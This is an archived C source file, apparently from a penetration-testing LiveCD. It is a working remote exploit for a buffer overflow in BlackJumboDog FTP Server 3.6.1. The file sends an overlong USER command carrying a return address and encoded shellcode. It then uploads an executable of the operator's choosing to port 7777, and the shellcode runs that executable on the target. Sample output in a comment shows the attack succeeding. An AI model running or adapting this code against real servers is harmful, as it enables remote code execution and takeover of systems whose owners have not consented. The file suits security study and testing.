home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / blackjumbodogftp / bjdexploit.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  7KB  |  220 lines

  1. /*
  2.         6.9.04|www.Delikon.de|Delikon
  3.         BlackJumboDog FTP Server Buffer Overflow version 3.6.1
  4.         http://www.securiteam.com/windowsntfocus/5AP040ADPW.html
  5.         Thx to Chew Keong TAN
  6.  
  7. C:\Codes\blackjumbodog\Release>bjdexploit 192.168.0.3 21 klein.exe
  8.         BlackJumboDog FTP Server Buffer Overflow version 3.6.1
  9.         http://www.securiteam.com/windowsntfocus/5AP040ADPW.html
  10.         Thx to Chew Keong TAN
  11.  
  12.         Delikon|6.9.04|www.Delikon.de
  13.  
  14.         [+] Connected.
  15.         220 FTP ( BlackJumboDog Version 3.6.1 ) ready
  16.  
  17.         [+]Shellcode length: 461
  18.         [+] Sending the shellcode
  19.         [+] Sleeping
  20.         [+] Opening File
  21.         [+] File found ready to send
  22.         [+] Connected
  23.         [+] Sending executable.
  24.         ....
  25.         [+] All done, server have now executed your executable!
  26.         [+] Have a nice day
  27. */
  28.  
  29. #include <stdio.h>
  30. #include <string.h>
  31. #include <winsock.h>
  32.  
  33.  
  34. //opens a port on 7777
  35. //where you can upload a exe
  36. //after terminating the network connection to port 7777
  37. //the exe gets executed
  38. //you will find the asm sourcecode at www.delikon.de
  39. //it also exits with ExitThread, so the shellcode don't crashes the service
  40. char shellcode[] = "\xEB"
  41. "\x10\x58\x31\xC9\x66\x81\xE9\x4A\xFE\x80\x30\x88\x40\xE2\xFA\xEB\x05\xE8\xEB\xFF"
  42. "\xFF\xFF\x61\xE0\x89\x88\x88\xD3\xDD\x01\x6D\xEE\x09\x64\xBC\x88\x01\x6E\xEE\x09"
  43. "\x64\x84\x88\x60\x57\x88\x88\x88\x01\x4F\xDF\xE0\x06\xC6\x86\x64\x60\x63\x88\x88"
  44. "\x88\x01\xCD\x80\x05\xDB\xB8\xDA\x77\xDD\x80\x01\xCD\x80\x05\xDB\xB3\x01\xDE\xBC"
  45. "\xE2\x85\xD1\xEE\x09\x71\x8F\x88\xFD\x8B\x03\xF5\x80\x01\x86\xDF\x77\xFC\x03\x74"
  46. "\x60\x37\x88\x88\x88\x03\x86\x01\xCC\x06\x74\x6A\x6A\xEE\x09\x64\x18\x89\xDC\xE0"
  47. "\x89\x89\x88\x88\x77\xDE\x8C\xB9\x77\xDF\xDF\xDF\xDF\xCF\xDF\xCF\xDF\x77\x9E\x01"
  48. "\x4B\xB9\x77\xDF\xDF\xE0\x8A\x88\x96\xE9\x01\x6A\xE2\x98\xDA\xDB\x77\xDE\x80\xDF"
  49. "\xDB\x77\xDE\x84\xDF\xDE\xDB\x77\xDE\x98\x01\x4B\xE2\x88\xE2\x8E\xE2\x8C\xE2\x88"
  50. "\xE2\x8F\xE0\x88\x88\x88\x68\x77\xFE\xBC\x77\xDE\xAC\x01\x4F\x09\x64\x14\x77\x77"
  51. "\x77\x01\x6D\x05\xDD\xEC\xE2\x88\xE0\xEC\x88\x88\x88\xDA\xDB\x77\xDE\x9C\xB5\x77"
  52. "\x77\x77\x77\xFC\x9D\xB5\x88\x88\x88\x88\xFC\x86\x05\xDD\xEC\xE2\x88\xD9\xD8\xDA"
  53. "\xDF\x77\xDE\xA0\x63\x5D\xDB\x77\xDE\x90\xDF\x77\xDE\xA4\xE0\x8D\x88\x88\x88\x77"
  54. "\xFE\xBC\x77\xDE\xA8\xB9\x77\xDF\x77\xDE\x94\xDD\xDE\xEC\x29\xB8\x88\x88\x88\x03"
  55. "\xC8\x84\x03\xF8\x94\x25\x03\xE0\x80\x01\x60\xD6\xD5\x4A\x8C\x88\xDB\xDD\xDE\xDF"
  56. "\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D\xF0\x89\x62\x03\xC2\x90\x03\xD2\xA8\x89"
  57. "\x63\x6B\xBD\xC1\x03\xBC\x03\x89\x66\xB9\x77\x74\xB9\x48\x24\xB0\x68\xFC\x8F\x49"
  58. "\x47\x85\x89\x4F\x63\x7A\xB3\xF4\xAC\x9C\xFD\x69\x03\xD2\xAC\x89\x63\xEE\x03\x84"
  59. "\xC3\x03\xD2\x94\x89\x63\x03\x8C\x03\x89\x60\x61\x8A\x88\x88\x88\xB9\x48\x01\x62"
  60. "\xD7\xD6\xD5\xD3\x4A\x8C\x88\x60\x1B\x76\x77\x77\x51\x81\x7D\x25\x43\x65\x74\xB3"
  61. "\x2C\x92\xF8\x4F\x2C\x25\xA6\x61\x6D\xC1\x0E\xC1\x3E\x91\x90\x6F\x6F\xF1\x4E\xF1"
  62. "\x67\x46\x68\xE8\x10\x76\x02\x86\x2D\x9F\x88\xF4\x97\xF1\x82\x60\x73\x1F\x75\x87"
  63. "\xDF\xDB\xBA\xD7\xBB\xBA\xA6\xCC\xC4\xC4\x88\xDA\xB8\xB8\xFC\xA6\xED\xF0\xED\x88";
  64.  
  65. int fileupload(int port,char *FileName,char* ip){
  66.  
  67.         FILE* file;
  68.  
  69.         int sockfd, numbytes;
  70.  
  71.         struct hostent *he;
  72.         struct sockaddr_in their_addr;
  73.         char buf[1024];
  74.         char *a=NULL;
  75.         int read=0;
  76.  
  77.  
  78.         printf("[+] Opening File\n");
  79.  
  80.         file = fopen(FileName,"rb");
  81.         if (file==NULL) {
  82.         printf("[-] Open Failed\n");
  83.         return 0;
  84.         }
  85.          printf("[+] File found ready to send\n");
  86.  
  87.          if ((he=gethostbyname(ip)) == NULL) { // get the host info
  88.          printf("[-] GetHostByName() Error!\n");
  89.          return 0;
  90.          }
  91.          if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
  92.          printf("[-] Can't open socket!\n");
  93.          return 0;
  94.          }
  95.          their_addr.sin_family = AF_INET; // host byte order
  96.          their_addr.sin_port = htons(port); // port
  97.          their_addr.sin_addr = *((struct in_addr *)he->h_addr);
  98.          //memset(&(their_addr.sin_zero), '\0', 8); // zero the rest of the struct
  99.          if (connect(sockfd, (struct sockaddr *)&their_addr,sizeof(struct sockaddr)) == -1) {
  100.          printf("[-] Connecting error\n");
  101.          return 0;
  102.          }
  103.          printf("[+] Connected\n[+] Sending executable.\n");
  104.  
  105.          while (!feof(file)) {
  106.            read = fread(buf,sizeof(char),sizeof(buf),file);
  107.            Sleep(200);
  108.            if ((numbytes=send(sockfd,buf,read,0)) == -1) {
  109.           printf("[-] Sending executable failed\n");
  110.           return 0;
  111.            }
  112.            printf(".");
  113.          }
  114.          printf("\n[+] All done, server have now executed your executable!\n");
  115.          closesocket(sockfd);
  116.          WSACleanup();
  117.          return 1;
  118. }
  119.  
  120. void banner(){
  121.         printf("BlackJumboDog FTP Server Buffer Overflow version 3.6.1\nhttp://www.securiteam.com/windowsntfocus/5AP040ADPW.html\nThx to Chew Keong TAN\n");
  122.         printf("\nDelikon|6.9.04|www.Delikon.de\n");
  123. }
  124.  
  125. void usage(){
  126.         
  127.         printf("\nBJDExploit HOST PORT FileToUpload\n");
  128. }
  129.  
  130. //#pragma lib <ws2_32.lib>
  131. #pragma comment(lib,"ws2_32.lib")
  132.  
  133. int main(int argc,char *argv[]) {
  134.  int sockfd, numbytes;
  135. //i have some problems with the ret-addresses
  136. //only this one worked
  137. //the SEH don't executes every address
  138. // but i don't know the reason
  139.  DWORD RetAddr=0x6BD01395;
  140.  /* SYNCOR11.DLL XP sp2 full patched english version
  141. 6BD01395 5E POP ESI
  142. 6BD01396 33C0 XOR EAX,EAX
  143. 6BD01398 5D POP EBP
  144. 6BD01399 C2 0800 RETN 8
  145. */
  146.  
  147. struct hostent *he;
  148. struct sockaddr_in their_addr;
  149.  
  150. char buf[1024];
  151.  int read=0;
  152.  
  153.  WSADATA wsaData;
  154.  
  155.  if(argc<3){
  156.         banner();
  157.         usage();
  158.         exit(1);
  159.  }
  160.  
  161.  banner();
  162.  
  163.  if(WSAStartup(0x101,&wsaData))
  164.  {
  165.         printf("[-] Unable to load winsock.\n");
  166.              return -1;
  167.  }
  168.  if ((he=gethostbyname(argv[1])) == NULL) { // get the host info
  169.          printf("[-] GetHostByName() Error!\n");
  170.          return -1;
  171.  }
  172.  if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
  173.          printf("[-] Can't open socket!\n");
  174.          return -1;
  175.  }
  176.  their_addr.sin_family = AF_INET; // host byte order
  177.  their_addr.sin_port = htons(atoi(argv[2])); // port
  178.  their_addr.sin_addr = *((struct in_addr *)he->h_addr);
  179.  //memset(&(their_addr.sin_zero), '\0', 8); // zero the rest of the struct
  180.  if (connect(sockfd, (struct sockaddr *)&their_addr,sizeof(struct sockaddr)) == -1) {
  181.          printf("[-] Connecting error\n");
  182.          return -1;
  183.  }
  184.         printf("\n[+] Connected.\n");
  185.         read=sizeof(buf);
  186.         numbytes=recv(sockfd,buf,read,0);
  187.         buf[numbytes]=0x00;
  188.         printf("%s \n",buf);
  189.  
  190.   memset(buf,0x00,sizeof(buf));
  191.   Sleep(200);
  192.  
  193.   strcpy(buf,"USER ");
  194.   memset(buf+strlen(buf),0x41,308);
  195.   memcpy(buf+strlen(buf),"\xeb\x06",2);
  196.   memset(buf+strlen(buf),0x41,2);
  197.   memcpy(buf+strlen(buf),&RetAddr,4);
  198.   strcat(buf,shellcode);
  199.   buf[strlen(buf)]='\x0a';
  200.  
  201.   printf("[+]Shellcode length: %i \n",strlen(shellcode));
  202.  
  203.   read =strlen(buf);
  204.   numbytes=send(sockfd,buf,read,0);
  205.   printf("[+] Sending the shellcode\n");
  206.  
  207.   Sleep(2000);
  208.   printf("[+] Sleeping\n");
  209.  
  210.   if(fileupload(7777,argv[3],argv[1]))
  211.           printf("[+] Have a nice day\n");
  212.   
  213.  
  214.  
  215.  closesocket(sockfd);
  216.  WSACleanup();
  217.  
  218.  return 0;
  219. }
  220.